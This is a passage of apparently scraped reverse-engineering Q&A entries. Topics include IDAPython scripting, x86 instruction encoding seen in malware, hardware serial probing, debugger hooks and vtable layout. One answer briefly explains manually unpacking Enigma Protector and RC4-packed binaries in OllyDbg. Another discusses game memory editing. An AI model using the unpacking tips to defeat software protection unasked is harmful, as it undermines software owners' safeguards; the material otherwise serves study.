question?</p>\n\n<p>thank you</p>\n",
        "Title": "is it possible to decrypt Enigma and RC4 encryptions?",
        "Tags": "|encryption|decryption|delphi|",
        "Answer": "<p>RC4 can be unpacked manually using OLLYDBG and break-pointing on VirtualAlloc\nEnigma is triky because there is enigma protector which is a packer of course its just a matter of finding Original Entry Point</p>\n\n<p>the hardest is Enigma Vitualbox which is a crypter fully undetectable by PEiD but somebody released a program to unpack it, in my case the program didnt successfully decrypt Enigma it doesnt find engma entrypoint so i used ollydbg to manually break on CreateProcessA</p>\n"
    },
    {
        "Id": "12791",
        "CreationDate": "2016-06-03T05:25:38.893",
        "Body": "<p>I'm writing an IDA plugin using idapython in order to add comments (located in database) to variables of struct types. In order to do this, firstly, i need to get the list of cross-references to a given structure type (e.g. struct BITMAPINFO) which can be found in \"Structure\" subview in IDA. </p>\n\n<p>I know IDA provides this function from version 6.2 by right-button mouse clicking on the structure name and selecting \"List cross references to\". A window like the following will be popped-up:</p>\n\n<p><a href=\"https://i.stack.imgur.com/CBI7A.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/CBI7A.png\" alt=\"example: xrefs to BITMAPINFO picture\"></a></p>\n\n<p>Each item of the list in above picture is either an address where a global variable of type %structure name% (here is BITMAPINFO) is declared or a position where a local variable of type \"structure name\" is defined. The former is like</p>\n\n<p><a href=\"https://i.stack.imgur.com/KxBT2.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/KxBT2.png\" alt=\"example: global variable definition of type GUID\"></a>\n(here is type GUID, not BITMAPINFO).</p>\n\n<p>The latter is like\n<a href=\"https://i.stack.imgur.com/McC7c.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/McC7c.png\" alt=\"example: local variable definition of type BITMAPINFO\"></a>\nThis is the position where IDA declare local variables based on its identified type.</p>\n\n<p>I wonder if there is a way to get these data by IDAPython.</p>\n\n<p>NOTE: This is different from cross-references to a(ll) member(s) of a struct type, which can be got by right-button mouse clicking on the structure member name, shown as the following</p>\n\n<p><a href=\"https://i.stack.imgur.com/XIcJe.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/XIcJe.png\" alt=\"example: XrefsTo GUID.DATA1\"></a></p>\n\n<p>Before asking here, i do it like:</p>\n\n<pre><code>#CODE 1\nea = idc.LocByName(%structure name%)  \n\nfrm = [x.frm for x in idautils.XrefsTo(ea)]\n</code></pre>\n\n<p>I think i have got the whole list of cross-references to %structure name% using my above code. However, i found many EAs in the list seem like ineffective such as '0xff0052c9' (<b>MaxEA is 0x108f800</b>). However, i guess my code has got the desired result because the length of returned list is equal to the number of items in the list shown as the 1st picture. But i can't explain the result especially the (seemingly) ineffective ones. Also, when i add comments to the addresses in the list using the following code</p>\n\n<pre><code>#CODE 2\nfor ea in xrefs_list:\n    # each cross-reference to the given struc type\n\n    if repeatable:\n        # add repeatable comment 'cmt' at address 'ea'\n        idc.MakeRptCmt(ea, cmt)\n\n    else:\n        # add comment  'cmt' at address 'ea'\n        idc.MakeComm(ea, cmt)\n</code></pre>\n\n<p>i found i only added comments to the effective addresses which are between <b>idc.MinEA()</b> and <b>idc.MaxEA()</b>, and these addresses are places where global instances of the queried struct type are declared, as shown in the 2nd picture.</p>\n\n<p>My questions are:</p>\n\n<blockquote>\n  <ol>\n  <li>Is my above code (CODE 1) correct to get all cross-references to a struct type?\n  If it is, how to explain those seemingly ineffective addresses (above 0xFF000000)</li>\n  <li>How to add comments to other cross-reference addresses other than the references to global instances of the struct type? </li>\n  </ol>\n</blockquote>\n",
        "Title": "How to get cross-references to a struct type in IDA by IDAPython and add comments to variables of the struct type",
        "Tags": "|ida|idapython|",
        "Answer": "<p>In order to make the question and answer separate to make things clearer, I added my own solution mainly according to @tmr232's answer.</p>\n\n<p>For the 1st question, just as @tmr232 answered, those (seemingly) ineffective addresses are references to stack variables. In IDA's internals, each stack variable is treated as a member of a struct which represents the stack frame of a function. <b><em>CODE 1</em></b> in the question can return all cross-references to a struct type, including cross-references to global instances and local stack instances.</p>\n\n<p>For the 2nd question, comments to be added to references to local stack instances can be added by treating these references as members of a struct.</p>\n\n<p>The code is:</p>\n\n<pre><code>def add_struct_cmt (struct_name, cmt, repeatable):\n\n    # locate ea by structure name, here, ea is identical to sid\n    sid = idc.LocByName(%structure name%)\n\n    if sid == idaapi.BADADDR:\n        return \n\n    # get all cross-references to 'sid' including references to global \n    # struct instances and references to local stack variables\n    frm = [x.frm for x in idautils.XrefsTo(sid)]\n\n    for ea in frm:\n\n        if ea &gt; idc.MaxEA():\n            # references to stack variables\n\n            # IDA 6.8 and above: getting 'member_t' using 'ea' as mid\n            mptr = idaapi.get_member_by_id(ea)\n\n            # IDA 6.8: setting member comment using 'mptr' as index\n            idaapi.set_member_cmt(mptr, cmt, repeatable)\n\n            # IDA 6.9: 'mptr' is type of list\n            #idaapi.set_member_cmt(mptr[0], cmt, repeatable)\n\n        else:\n            # references to global struct instances\n\n            if repeatable\uff1a\n                # add repeatable comment\n                idc.MakeRptCmt(ea, cmt)\n\n            else:\n                # add non-repeatable comment\n                idc.MakeCmt(ea, cmt)     \n</code></pre>\n"
    },
    {
        "Id": "12798",
        "CreationDate": "2016-06-04T01:46:09.027",
        "Body": "<p>I am looking to use scanmem to change in game credits in the new Master of Orion (2016). </p>\n\n<p>Steps I have taken: </p>\n\n<ol>\n<li>Install and run scanmem as root </li>\n<li>Track credits successfully using scanmem </li>\n<li>It accurately tracks between 1 and 3 variables that exactly match the  ingame credits. </li>\n<li>However when I change 1 or all of them, it does not change the actual credits in the game.</li>\n</ol>\n\n<p>I was going to try Ugtrain but they specifically ask you not to use there product with Steam, so I won't be doing that.</p>\n\n<p>I am just doing this for fun, if anyone can help it would be appreciated.</p>\n",
        "Title": "Master of Orion and scanmem",
        "Tags": "|linux|memory|",
        "Answer": "<p>This means you only caught the displayed game credits value. Steam is used for multiplayer and online games. So it is very likely that the original value is stored on a server and only the value to be displayed is sent to you in a network package. Cheating by memory modification doesn't help much there. Usually input and graphics hacks are used with online and multiplayer games.</p>\n\n<p>ugtrain can only help if you want to lock/freeze/refill a local memory value you've already found and successfully modified with scanmem. I'm maintaining both tools. Talk to me on GitHub.</p>\n"
    },
    {
        "Id": "12805",
        "CreationDate": "2016-06-05T08:00:32.733",
        "Body": "<p>I am analyzing a Windows executable file(PE Format), probably written in Borland Delphi. The program starts with the following instructions:</p>\n\n<pre><code>    pusha                      (1)\n    pushf                      (2)\n    xor ebp, ebp\n    jmp add_eh\n\nadd_eh:\n    mov eax, ss:off_4025E5[ebp]\n    mov dword ptr ss:(loc_402159+1)[ebp], eax\n    push offset loc_40215f                (3)\n    push dword ptr fs:0\n    mov fs:0, esp                        (4)\n    mov eax, [esp+2Ch]                    (5)\n    cmp [eax+IMAGE_DOS_HEADER.e_magic], 'ZM'\n    jnz short loc_40206C\n</code></pre>\n\n<p>I reproduced on paper the stack until the instruction marked with (5), it seems that at (5) the esp+2Ch is pointing above the first register(AX) pushed by (1).</p>\n\n<p>Where does esp+2Ch point and what can be it's value?</p>\n\n<p>Thank you!</p>\n",
        "Title": "To what points [esp+2Ch]?",
        "Tags": "|windows|assembly|pe|esp|",
        "Answer": "<p>based on the corrected sequence that instruction <strong>fetches the dword</strong> prior to all the pushes     </p>\n\n<pre><code>pusha pushes 8 general purpose register  = 0x20   = 0x20\npushf pushes 1 flag register             = 0x04   = 0x24\n</code></pre>\n\n<p>ebp is 0<br>\nmov eax, is/can/maybe junk anyway doesn't alter the stack<br>\nthe next instuction also doesnt alter the stack   </p>\n\n<pre><code>the next 2 pushes alter the stack        = 0x08   = 0x2c\n</code></pre>\n\n<p>the next instruction sets the seh handler   </p>\n\n<p>so it fetches the DWORD from the stack prior to pusha    </p>\n\n<p>if this was starting of a call this DWORD could be return address of the call    it can be from a earlier push instruction or moved to stack prior to pusha </p>\n\n<p>just to clarify i assembled the instuction in place somewhere in ollydbg and traced through it see the output below</p>\n\n<pre><code>main    ntdll.76E96F51  NOP\nmain    ntdll.76E96F52  NOP\nmain    ntdll.76E96F53  NOP\nmain    ntdll.76E96F54  NOP\nmain    ntdll.76E96F55  PUSH    0BA0000 [0020F99C]=00000000 ESP=0020F99C\nmain    ntdll.76E96F5A  PUSHAD      ESP=0020F97C\nmain    ntdll.76E96F5B  PUSHFD  [0020F978]=76E212AD ESP=0020F978\nmain    ntdll.76E96F5C  XOR     EBP, EBP\nmain    ntdll.76E96F5E  MOV     EAX, DWORD PTR SS:[EBP+calc.0BA25E5]    [00BA25E5]=0F087E3B EAX=0F087E3B\nmain    ntdll.76E96F64  MOV     DWORD PTR SS:[EBP+calc.ULongAdd], EAX   [00BA215A]=0F087E3B\nmain    ntdll.76E96F6A  PUSH    0BA215F [0020F974]=0020F9F4 ESP=0020F974\nmain    ntdll.76E96F6F  PUSH    DWORD PTR FS:[0]    [7FFDF000]=0020F9A0 ESP=0020F970\nmain    ntdll.76E96F76  MOV     DWORD PTR FS:[0], ESP   [7FFDF000]=0020F9A0\nmain    ntdll.76E96F7D  MOV     EAX, DWORD PTR SS:[ESP+2C]  [0020F99C]=00BA0000 EAX=00BA0000 \n</code></pre>\n"
    },
    {
        "Id": "12812",
        "CreationDate": "2016-06-06T02:32:27.803",
        "Body": "<p>Well another weekend has gone by and my tinkering has caused another device to (potentially) bite the dust. I've been playing around with a couple of Slingboxes, an M1 and a 500. Today was the M1. I had taken it apart (quite easily!) and poked around with my continuity and voltage probes with results as below for a few locations (see image).</p>\n\n<p>Gnd means continuity existed between the tested part &amp; the metal shield. The voltage in yellow is the voltage while it was plugged in. The spot in the upper left has a voltage that fluctuates somewhat erratically esp earlier on in the booting process.</p>\n\n<p><img src=\"https://dl.dropboxusercontent.com/u/23091/m1/front.jpg\" alt=\"front panel with labels\"> <em>full size image at <a href=\"https://dl.dropboxusercontent.com/u/23091/m1/front.jpg\" rel=\"noreferrer\">https://dl.dropboxusercontent.com/u/23091/m1/front.jpg</a></em></p>\n\n<p>I hooked up a serial to usb and ran minicom on the \"chatty\" one noted towards the top left.. and got a bunch of garbled garbage. Ran <a href=\"https://code.google.com/archive/p/baudrate/\" rel=\"noreferrer\">baud rate</a> and it cycled thru various baud settings but didn't find anything that made sense.</p>\n\n<p><img src=\"https://dl.dropboxusercontent.com/u/23091/m1/baudrate.png\" alt=\"baud rate\"> and so on. Tried the other ports as labeled, and nothing else had any \"chatter\" on minicom.</p>\n\n<p>Any thoughts?</p>\n\n<p><strong>Update</strong>\nWell I started touching the read probe on various other points on the board. One chip on the right generated a few (but not lots) of random looking data. And as I was touching a the prongs of the chip on the left above the smaller shield, the LEDs on the board turned off and it stopped generating any output. Sad. It won't turn back on or do anything at this point. Can that happen just from touching two pins on a chip? </p>\n\n<p>Any ideas how to repair this?</p>\n\n<p>Pretending I didn't fry the board, any ideas on what I could've done differently with minicom?</p>\n\n<p>Thanks!</p>\n",
        "Title": "Thought I found serial port - broke embedded device instead! Help?",
        "Tags": "|hardware|serial-communication|embedded|integrated-circuit|",
        "Answer": "<p>I had to add just a few things to have a clear mind (although the other answer is really good and got my up-vote already).</p>\n\n<ol>\n<li><p><strong>Single pin touching with a probe can blow up your HW.</strong></p>\n\n<p>And I do not mean the obvious static charge or what so ever from the common reasons. With nowadays chips some pins runs on very specific voltage ranges and even a high impedance probes can blow them up if connected to wrong voltage. This is usually concerning ADC and semi analog pins of modern <strong>MCU</strong>'s. They should be protected by transils and or diodes but often the costs are reduced and protection omitted.</p>\n\n<p>Also always be careful even with <strong>GND</strong> to <strong>GND</strong> connections even between galvanicaly \"sealed\" devices (sometimes you forgot shield and then the fun starts). </p></li>\n<li><p><strong>Ground connection</strong></p>\n\n<p>Many of the nowadays chips have their pins short-circuited to the <strong>GND</strong> to protect them during power off or inactive state so measuring to <strong>GND</strong> resistance is usually not enough. Much safer is to follow the <strong>PCB</strong> paths if visible.</p></li>\n<li><p><strong>Poking around</strong></p>\n\n<p>If I need to \"Poke around\" the first thing I do is get all the significant or known <strong>IC</strong> numbers and find their datasheet or at least pinout (for those I can). Then find where the power pins are (<strong>Shield,GND,Vcc,Vddio,...</strong>) and locate the <strong>PCB</strong> power paths so I know where to avoid short-circuit by miss placing probe (as I am clumsy).</p>\n\n<p>Only then I will locate pins I need. For example you want serial port then find the <strong>IC</strong> capable of serial transmition and check the pins capable of them only. Oscilloscope is the way because you will see directly if it is digital or analog signal what is the baudrate etc instead of guessing... But I know not everyone has a decent oscillosope (like me 15 years ago) But usually some friend has one or in work/school usually you need just to ask... Anyway I was not that lucky at that time so I do SW oscilloscope using soundcard instead link to the win32 apps and description can be found here:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/a/21658139/2521214\">plotting real time Data on (qwt )Oscillocope</a></li>\n</ul>\n\n<p>Anyway you would need to make some sort of probe <strong>HW</strong> (voltage divider and or amplifier and may be some protection) to make it work with your soundcard safely.</p>\n\n<p>If you want something really simple and stupid instead use 2 anti-parallel connected <strong>LED</strong>s to see if you got alternating signal (they should both glowing in such case).</p></li>\n<li><p><strong>serial communication</strong></p>\n\n<p>There are many protocols and even voltage encoding for serial communication these days and simple <strong>RS232</strong> listener can be used only if:</p>\n\n<ul>\n<li>voltage levels are in <strong>RS232</strong> range <code>(+/-15V)</code> usually works on <code>(+/-5V)</code> for some <strong>IC</strong>s but it is not guaranteed. Many <strong>MCU</strong>s has serial links in <strong>TTL</strong> levels <code>(0/5V)</code> or even <code>(0/3.3V)</code> so you need voltage converter like <strong>MAX232</strong> before connecting to PC.</li>\n<li>if custom protocol/encoding is used you need first to identify it and then decoding usually by some <strong>MCU</strong></li>\n<li>if <strong>RS232</strong> protocol is used you still need to know how many <strong>data,parity,start,stop</strong> bits are present and also the <strong>baud rate</strong>. The frequency and full bit width can be measured by oscilloscope, then you need to play with settings which bits are what until you get the data correctly.</li>\n<li>You should output the data in both string and <strong>Hex</strong> form for easier spotting of patterns ... for example see <a href=\"https://reverseengineering.stackexchange.com/a/9381/4709\">Putting an application in between client and server</a></li>\n</ul></li>\n</ol>\n\n<p><strong>[PS]</strong></p>\n\n<p>In case you did not fry the board for good (sometimes chips will recover after time when the charge accumulated in wrong places is gone) so try it in few days again. But make no mistake not fried for good does not mean undamaged. Even in cases the device will run again usually its life span is significantly reduced and often not all pins are functional as should afterwards.</p>\n\n<p><strong>[Edit1] Measuring against GND</strong></p>\n\n<p>There are usually more <strong>GND</strong> types in analog/digital mixed device. usually all of them are interconnected at some point (usually very near stabilisator output) but that does not mean they have the same voltage !!!</p>\n\n<ol>\n<li><p><strong>Power supply GND</strong></p>\n\n<p>This one is present with widest fully filled <strong>PCB</strong> wirings and can transfer lot of current. Its purpose is to power the components. You should use this one to measure if better option is not present.</p></li>\n<li><p><strong>Blocking GND</strong></p>\n\n<p>This one is used to annihilate the pulse load of the digital circuits on the power supply. Otherwise the ground and Vcc would float making a lot of troubles along the way. The only thing that should be connected to this are the blocking capacitances (<code>1nF,10nF,100nF</code> very close to each ICs power supply pins). <strong>Do not use this for measuring!!!</strong></p></li>\n<li><p><strong>Shield GND</strong></p>\n\n<p>This is usually connected to shielding areas (those criss/cross filled <strong>PCB</strong> areas between data and <strong>HF</strong> parts of the <strong>PCB</strong> and cable shielding) to avoid noise affecting critical parts of the circuit. Do not mistake them with <strong>PCB</strong> coils (meanders/zig zag patterns or spirals) they are completely different thing. <strong>Do not use this for measuring!!!</strong></p></li>\n<li><p><strong>Digital/Data GND</strong></p>\n\n<p><strong>This one should be used if present</strong>. Its sole purpose is to provide reference voltage between digital interfaces. Beware sometimes these are not connected to the main <strong>GND</strong>'s and sometimes even to each other between different interfaces!!! Also the voltage level could be anything there not just 0V !!!</p></li>\n</ol>\n"
    },
    {
        "Id": "12816",
        "CreationDate": "2016-06-06T14:51:48.443",
        "Body": "<p>I'm trying to do a static analysis of a PE file to see what it does.\nWhile doing so, I stumbled upon some really wierd function names in my objdump</p>\n\n<pre><code>DLL Name: msvcrt.dll\nvma:  Hint/Ord Member-Name Bound-To\nc2c68    1371  wcsncmp\nc2c72    1017  _wcsnicmp\nc2c7e    1229  iswdigit\nc2c8a    1013  _wcslwr_s\nc2c96    1225  iswalpha\nc2ca2       5  ??0bad_cast@@QAE@ABV0@@Z\nc2cbe      14  ??1bad_cast@@UAE@XZ\nc2cd4    1241  localeconv\nc2ce2    1256  memchr\nc2cec    1304  strcspn\nc2cf6    1292  sprintf_s\nc2d02     884  _strtoi64\n</code></pre>\n\n<p>notice the 2 bad_cast functions. Why are they wierd looking like that? What does this syntax mean?</p>\n",
        "Title": "Wierd names in import table",
        "Tags": "|pe|dll|static-analysis|functions|",
        "Answer": "<p>As @guntram-blohm says, these are mangled C++ functions. If you demangle the names (using, for example, an <a href=\"https://demangler.com/\">online demangler</a>) you will get the fully decorated function names:</p>\n\n<pre><code>public: __thiscall bad_cast::bad_cast(class bad_cast const &amp;)\npublic: virtual __thiscall bad_cast::~bad_cast(void)\n</code></pre>\n\n<p>So these functions are the constructor and the destructor for <a href=\"http://en.cppreference.com/w/cpp/types/bad_cast\">bad_cast objects</a>, used to thrown an exception <em>when a dynamic_cast to a reference type fails the run-time check</em>.</p>\n"
    },
    {
        "Id": "12827",
        "CreationDate": "2016-06-09T03:24:49.773",
        "Body": "<p>I'm trying to get to an Android device framework source to perform static analysis on it. I'm specifically looking at a Samsung Galaxy S6 device with Android 5.1.1. I downloaded the firmware image, mounted the system partition, and I'm able to see the framework directory with a bunch of jars and sub-directories with arm/arm64 odex files. I managed to convert services.odex to DEX format using oat2jar, and then look at the source using jadx. However, it appears the decompilation or the conversion from odex to dex wasn't complete, as there are references to several missing packages. I have the package names, but how do I get to the relevant jar/odex/dex files?</p>\n\n<p>Thanks.</p>\n",
        "Title": "Reverse engineering Android device framework",
        "Tags": "|decompilation|android|jar|",
        "Answer": "<p>Found it in the boot.oat file.</p>\n"
    },
    {
        "Id": "12830",
        "CreationDate": "2016-06-11T12:49:05.690",
        "Body": "<p>Im developing a plugin in which I would like to be notified when user makes some modification to the code. I know there is a patch table which can be accessed through <code>Plugingetvalue</code> function but I would like to do some actions as soon as user modifes code and not to check patch table every now and then. Is it possible to do this and how?</p>\n",
        "Title": "ollydbg plugin patch notification",
        "Tags": "|ollydbg|plugin|",
        "Answer": "<p>Given your reference to <code>Plugingetvalue()</code>, it looks like you're trying to write your plugin for OllyDbg v1.</p>\n\n<p>In that case, you could do the following:</p>\n\n<ul>\n<li>Get the address of the patch table's <code>t_table</code>: <code>pPatchTable = Plugingetvalue(VAL_PATCHES);</code></li>\n<li>Hook <code>Addsorteddata()</code>, such that any time you see it called with <code>sd == &amp;pPatchTable-&gt;data</code>, you'll see that the user just added a patch.</li>\n<li>Analyze the <code>item</code> value passed to <code>Addsorteddata()</code> above as a pointer to a <code>t_patch</code> structure, which will give you the base address of the patch in memory, the size of the patch, the type of patch, the original code, and the patched code.</li>\n</ul>\n\n<p>There may be a formal way to get patch notifications, but if not, the above solution should work.</p>\n"
    },
    {
        "Id": "12834",
        "CreationDate": "2016-06-12T03:52:59.780",
        "Body": "<p>I came around a piece of malware which i am analyzing and have found that it uses some kind of math to randomly selecting a register for a specific instruction</p>\n\n<p>Which i don't understand how this operation is calculated depend on what?</p>\n\n<p>Here is an example of what i mean</p>\n\n<p>let's say that i wanted to randomly pick up a register for the instruction</p>\n\n<pre><code>ADD DWORD PTR DS:[0],EAX\n</code></pre>\n\n<p>We know the opcode for this instruction is 01 <strong>05</strong> 00 00 00 00</p>\n\n<p>The bold number represents the register for this instruction</p>\n\n<p>05 == EAX\n0D == ECX</p>\n\n<p>To better explain this here is the instruction with all the registers</p>\n\n<pre><code>0041580B    0105 00000000   ADD DWORD PTR DS:[0],EAX\n00415811    010D 00000000   ADD DWORD PTR DS:[0],ECX\n00415817    0115 00000000   ADD DWORD PTR DS:[0],EDX\n0041581D    011D 00000000   ADD DWORD PTR DS:[0],EBX\n00415823    0125 00000000   ADD DWORD PTR DS:[0],ESP\n00415829    012D 00000000   ADD DWORD PTR DS:[0],EBP\n0041582F    0135 00000000   ADD DWORD PTR DS:[0],ESI\n00415835    013D 00000000   ADD DWORD PTR DS:[0],EDI\n</code></pre>\n\n<p>The malware uses a register index starting from 0 (EAX) till 7 (EDI)</p>\n\n<p>The number is get SHLed first with the number 3 then it is ORed with 5 to get the right register opcode. So my question is how the author came to the conclusion of that?</p>\n\n<p>I would say that SHL REG,3 equals REG*8 that is the number of max registers? but why do we need to OR it with 05? is it because the starting opcode of this instruction is 05?</p>\n\n<p>Does anybody have a better explanation for this? or any hint words for a better comprehend?</p>\n",
        "Title": "Randomly picking up a x86 register for an instruction",
        "Tags": "|assembly|x86|malware|register|",
        "Answer": "<p>To better understand this, you need to study instruction encoding formats i.e. x86 for this question.</p>\n\n<p>An x86 instruction looks like this</p>\n\n<pre><code>+----------------------+--------+--------+-----+--------------+-----------+\n| Instruction prefixes | Opcode | ModR/M | SIB | Displacement | Immediate |\n+----------------------+--------+--------+-----+--------------+-----------+\n|          0-4         |   1-3  |   0-1  | 0-1 |      0-4     |    0-4    |\n+----------------------+--------+--------+-----+--------------+-----------+\n</code></pre>\n\n<p>The numbers on the second row indicates the length in bytes of the corresponding part.</p>\n\n<p>For the instruction,</p>\n\n<pre><code>010D 00000000   ADD DWORD PTR DS:[0],ECX\n</code></pre>\n\n<p>there is no instruction prefix.\nThe opcode for <code>ADD</code> is <code>01</code> (<a href=\"http://x86.renejeschke.de/html/file_module_x86_id_5.html\" rel=\"nofollow noreferrer\">Check here</a>)</p>\n\n<p>The second byte of the instruction i.e <code>ModR/M</code>is <code>0D</code>.\nThe <code>ModR/M</code> byte provides addressing information about the instruction. It specifies whether an operand is in a register or in memory; if it is in memory, then fields within the byte specify the addressing mode to be used.</p>\n\n<p>The <code>ModR/M</code> byte can be broken down into</p>\n\n<pre><code>+-----+------------+-----+\n| Mod | Reg/Opcode | R/M |\n+-----+------------+-----+\n|  2  |      3     |  3  |\n+-----+------------+-----+\n</code></pre>\n\n<p>Here the numbers on the second row indicates the length in bits of the corresponding parts.</p>\n\n<p>The <code>Mod</code> field (2 bits) combines with the <code>R/M</code> field (3 bits) to form 32 possible values 8 registers and 24 addressing modes.</p>\n\n<p>The <code>Reg/Opcode</code> field (3 bits) specifies either a register number or three more bits of opcode information; the <code>r/m</code> field (3 bits) can specify a register as the location of an operand, or it can form part of the addressing-mode encoding in combination with the <code>Mod</code> field.</p>\n\n<p>Now, convert the <code>ModR/M</code> i.e <code>0D</code> to binary. You would get.</p>\n\n<pre><code>+-----+------------+-----+\n| Mod | Reg/Opcode | R/M |\n+-----+------------+-----+\n|  00 |     001    | 101 |\n+-----+------------+-----+\n</code></pre>\n\n<p>The <code>Mod</code> and <code>R/M</code> fields are <code>00</code> and <code>101</code> respectively. This indicates displacement only addressing mode. See the table below.</p>\n\n<p><a href=\"https://i.stack.imgur.com/mGqsS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mGqsS.png\" alt=\"enter image description here\"></a> </p>\n\n<p><strong>For all the instructions this mode of addressing is used, hence the reason for  <code>OR</code>ing with 5 (in binary 101) to set that particular bit pattern.</strong></p>\n\n<p>Coming to the <code>Reg/Opcode</code> field, this indicates a register. \n<br><code>001</code> is the register index for <code>ECX</code>. </p>\n\n<p>For the first instruction i.e\n<br><code>0105 00000000   ADD DWORD PTR DS:[0],EAX</code> \n<br>this field is <code>000</code> standing for <code>EAX</code>. You can check by converting <code>05</code> to binary.</p>\n\n<p>See more in the table below taken from <a href=\"http://www.c-jump.com/CIS77/CPU/x86/X77_0060_mod_reg_r_m_byte.htm\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/Ljow1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ljow1.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>So basically the register value was <code>SHL</code>ed with 3 to move it to the correct position. The Reg/Opcode field is 3 bits from the right.</strong></p>\n\n<p>Finally the last 4 bytes are <code>00000000</code>. This represents the displacement which is zero in this example.</p>\n"
    },
    {
        "Id": "12854",
        "CreationDate": "2016-06-15T17:25:57.953",
        "Body": "<p>I try to use a simple hook on different memory allocation functions in Immunity. But the hook doesn't react at all (no logging).</p>\n\n<p>First of all my hook class:</p>\n\n<pre><code>class AllocHook(LogBpHook):\n    def __init__(self):\n        LogBpHook.__init__(self)\n\n    def run(self, regs):\n        imm = immlib.Debugger()\n        imm.log(\"     ++++++++++++++++++ HOOOKED\")\n        imm.log(str(regs))\n        imm.log(\"     ++++++++++++++++++ HOOOKED\")\n</code></pre>\n\n<p>The function to init and add the hook.</p>\n\n<pre><code>def hookAlloc(imm):\n    global vAllocHo\n    # Retrieve address of Allocs\n    # Create hook object and add hook\n    va1 = imm.getAddress(\"kernel32.LocalAlloc\")\n    vAllocHo = AllocHook()\n    vAllocHo.add(\"va alloc\",va1)\n    vAllocHo.enable()\n</code></pre>\n\n<p>So the <code>log</code> appears in the breakpoint window, but the <code>run()</code> function actually never gets called. </p>\n\n<pre><code>Breakpoints, item 26\nAddress=76C91668 kernel32.LocalAlloc\nModule=kernel32\nActive=Log\nDisassembly=MOV EDI,EDI\n</code></pre>\n\n<p>The log messages of the breakpoints are at least disappearing when the hook is activated. For example, after activating the hook, the following logging messages are not displayed anymore:</p>\n\n<pre><code>Log data, item 40\nAddress=76C91668 \nMessage=[19:12:51] Breakpoint at kernel32.LocalAlloc\n</code></pre>\n\n<p>Are there special settings in the options left, which I have to consider first?</p>\n",
        "Title": "Hooking in Immunity - LogBpHook not working",
        "Tags": "|debugging|immunity-debugger|function-hooking|",
        "Answer": "<p>In the heat of the moment I didn't start Immunity as an Administrator.\nSo missing privileges have caused this behaviour during the debugging process.</p>\n"
    },
    {
        "Id": "12857",
        "CreationDate": "2016-06-16T01:20:52.197",
        "Body": "<p>I'm currently reversing two binaries compiled using the same exact C++ codebase. The two binaries were compiled on two different systems with different architectures: x64 on Windows and ARMv7 on Android. The Windows binary was compiled with MSVC, while the Android binary I believe was compiled with GCC (may also be Clang). Lastly, the Android binary has its symbol table completely intact, while the Windows binary has RTTI which I can use to name vtables.</p>\n\n<p>I'm using the Android binary as reference to help reverse the Windows binary. What I've noticed so far is that vtable entries between the two binaries seem to be in the same order, i.e. the same function can be found at the same vtable index in both binaries. However, what I'm wondering is if it's safe to assume they will always be in the same order, or if the order changes depending on the compiler.</p>\n",
        "Title": "Does the order of vtable entries vary depending on the compiler?",
        "Tags": "|vtables|",
        "Answer": "<p><strong>In General</strong>, <strong>with modern operating systems</strong>, the order won't depend on the compiler, but it <strong>may</strong> depend on the operating system.</p>\n\n<p>Any modern operating system does not just define the operating system API, but also, lots of standard libraries that make it easier for programs to access that API. Also, there's a lot of libraries that offer services that don't translate directly to the OS API, but provide a generalized API for something else. Like QT for Linux, or MSVC for windows.</p>\n\n<p>If you're a compiler vendor (for a relaxed definition of \"vendor\" as most compilers are free today), you want the code that your compiler generates to be able to interface with these standard libraries. If you try to get people to use \"your\" compiler, but tell them they can't use the interfaces the OS, or standard libraries, provide, you'll have a hard time convincing them. Which means, any compiler generating Windows code will make sure it adheres to the MSVC standards. Any compiler generating Linux code will adhere to the <a href=\"https://gcc.gnu.org/gcc-3.2/c++-abi.html\" rel=\"nofollow\">Linux/BSD standards of gcc</a> . This is not just about layout of vtables, it encompasses name mangling, register and stack usage for function arguments/return values, handling of floating point, and lots of other stuff as well. The name for that is the ABI (application binary interface).</p>\n\n<p>Note that this wasn't always the case; in the late days of DOS/early days of Windows, when Microsoft C(++) and Watcom C(++) were the (most important) competitors, they had hugely different ABIs. You couldn't (without going through a lot of extra hoops) link a program compiled with Watcom to a library compiled with MS, but that wasn't a big deal then, as the compilers included all libraries anyways, and open source libraries to be included in your program were (mostly) unheard of. (Watcom didn't even use vtables back then; they used function pointers within each object that got instantiated every time a new object was created). So, the farther you go back in time, the less probable it is that two compilers for the same OS share the same ABI.</p>\n\n<p>Across operating systems, you don't have this neccesity to make libraries compatible, so there's more leeway in handling things differently. However, you'll typically make the same decicions when defining your ABI. Your class constructor will typically be the first vtable entry as every class needs a constructor. The destructor will typically be the second entry as every class needs a destructor. The other vtable entries will typically be next in the vtable, in the order they appear in the source code. Not because you try to be compatible with anything else; just because it's the easiest way to implement something you need to implement.</p>\n\n<p>Which also means you can't rely on that. If there's a new company, let's call them <em>Orange</em>, designs a new device with an operating system they call O-IS (Orange Integration System), they might want to roll their own compiler. Maybe they decide that, in their ABI, method names should be sorted alphabetically in their vtables. Maybe they make decisions how to handle multiple inheritance and and virtual functions that are different from how MSVC and gcc handle these things. And when O-IS comes out, and the gcc people decide they want gcc to be able to compile for O-IS, they'll adjust their code generation to the new standard that Orange set for O-IS.</p>\n\n<p>Sometimes, companies try to agree on an ABI for a new processor, like <a href=\"https://mentorembedded.github.io/cxx-abi/abi.html\" rel=\"nofollow\">this</a> for the ill-fated Itanium. Of course, these are recommendations, not laws, so an operating system/device vendor may or may not choose to adhere to them.</p>\n\n<p>So, to compare vtables between different compilers and operating systems, you need to check ABI definitions of these compiler for these operating systems. </p>\n\n<p>Wikipedia's entry shows (a part of) how <a href=\"https://en.wikipedia.org/wiki/Virtual_method_table\" rel=\"nofollow\">gcc handles the Linux ABI</a>,  and while i wasn't able to find any official documentation by MS about how MSVC does it, openrce.org has an <a href=\"http://www.openrce.org/articles/full_view/23\" rel=\"nofollow\">article</a> about that.</p>\n"
    },
    {
        "Id": "12860",
        "CreationDate": "2016-06-16T12:20:30.940",
